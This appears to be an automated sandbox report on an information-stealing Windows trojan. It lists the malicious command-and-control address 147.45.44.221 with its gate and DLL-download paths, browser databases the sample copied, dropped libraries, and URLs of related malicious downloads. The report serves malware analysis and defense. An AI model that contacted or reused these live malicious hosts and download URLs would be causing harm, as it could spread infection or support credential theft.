https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221b	BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1913485231.0000000022B61000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.221/28166bd28a5d19e6.phpition:	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.phpwser	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221KEBFB	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.php#	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/3538548809da56b2/vcruntime140.dllW	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ramensoftware.com/0	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	GHDHJEBFBFHJECAKFCAA.1.dr	false		unknown
http://147.45.44.221/c	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.phpla	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://147.45.44.221/3538548809da56b2/mozglue.dll8	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	false		unknown
http://www.sqlite.org/copyright.html.	BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084293154.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17ate	BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	BitLockerToGo.exe, BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JEBFIIIE.1.dr	false		unknown
http://147.45.44.221/3538548809da56b2/vcruntime140.dll6	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1913485231.0000000022B61000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221/3538548809da56b2/mozglue.dllX	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221/3538548809da56b2/freebl3.dll4	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
https://ac.ecopnacl	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.phpc	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221/28166bd28a5d19e6.phpare	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.phpW	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	false	URL Reputation: safe	unknown
https://ac.ecop	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221/3538548809da56b2/nss3.dllX	BitLockerToGo.exe, 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.phpK	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.221	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538409
Start date and time:	2024-10-21 08:46:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/22@0/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 81 Number of non-executed functions: 162
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, PID 2140 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	http://heks.egrowbrands.com/yuop/66e9b62daa62d_xin.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/malesa/6705347f535f8_install.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://heks.egrowbrands.com/lopsa/67057a2256a25_SwiftKey.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://lide.omernisar.com/lopsa/66daf6d8ac980_PeakSports.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	01oTkKQVSW.exe	Get hash	malicious	Unknown	Browse	147.45.47.185
	01oTkKQVSW.exe	Get hash	malicious	Unknown	Browse	147.45.47.185
	G57uwXZLsE.exe	Get hash	malicious	Stealc, Vidar	Browse	147.45.41.134
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse	147.45.116.47
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse	147.45.116.47
	jYDYjpSbvf.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer, RedLine, SmokeLoader, Stealc	Browse	147.45.60.44

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCFHJJECAEHJJKEHIDB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCBGCAFIIECBFIDHIJKFBAKEG

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCGHID

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHJEBFBFHJECAKFCAA

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIECAAKECFHIECBKJDHIJKJDH

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBFIIIE

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: L0ad3r.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
